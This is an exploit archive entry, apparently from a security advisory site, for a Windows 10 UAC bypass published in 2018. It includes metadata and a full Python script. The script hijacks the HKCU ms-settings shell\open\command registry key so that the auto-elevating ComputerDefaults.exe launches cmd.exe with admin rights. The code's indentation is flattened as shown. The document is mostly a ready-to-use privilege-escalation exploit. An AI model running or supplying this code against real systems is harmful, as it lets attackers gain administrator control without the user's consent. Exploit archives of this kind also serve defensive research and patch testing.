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Microsoft Windows 10 UAC Bypass By computerDefault

Microsoft Windows 10 UAC Bypass By computerDefault
Posted Oct 22, 2018
Authored by Fabien Dromas

This exploit permits an attacker to bypass UAC by hijacking a registry key during computerSecurity.exe (auto elevate windows binary) execution.

tags | exploit, registry
systems | windows
SHA-256 | 21b288f1176d274ff81831600b08bc360a27850b835d8b11afeb4c8176e4c76b

Microsoft Windows 10 UAC Bypass By computerDefault

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#!/usr/bin/env python
#
# Exploit Title: Windows 10 UAC Bypass by computerDefault
# Date: 2018-10-18
# Exploit Author: Fabien DROMAS - Security consultant @ Synetis <fabien.dromas[at]synetis[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: www.microsoft.com
# Version: Version 10.0.17134.285
# Tested on: Windows 10 pro Version 10.0.17134.285
#

import os
import sys
import ctypes
import _winreg


def create_reg_key(key, value):
try:
_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command')
registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE)
_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
_winreg.CloseKey(registry_key)
except WindowsError:
raise

def exec_bypass_uac(cmd):
try:
create_reg_key('DelegateExecute', '')
create_reg_key(None, cmd)
except WindowsError:
raise

def bypass_uac():
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = "C:\windows\System32\cmd.exe"
exec_bypass_uac(cmd)
os.system(r'C:\windows\system32\ComputerDefaults.exe')
return 1
except WindowsError:
sys.exit(1)

if __name__ == '__main__':

if bypass_uac():
print "Enjoy your Admin Shell :)"
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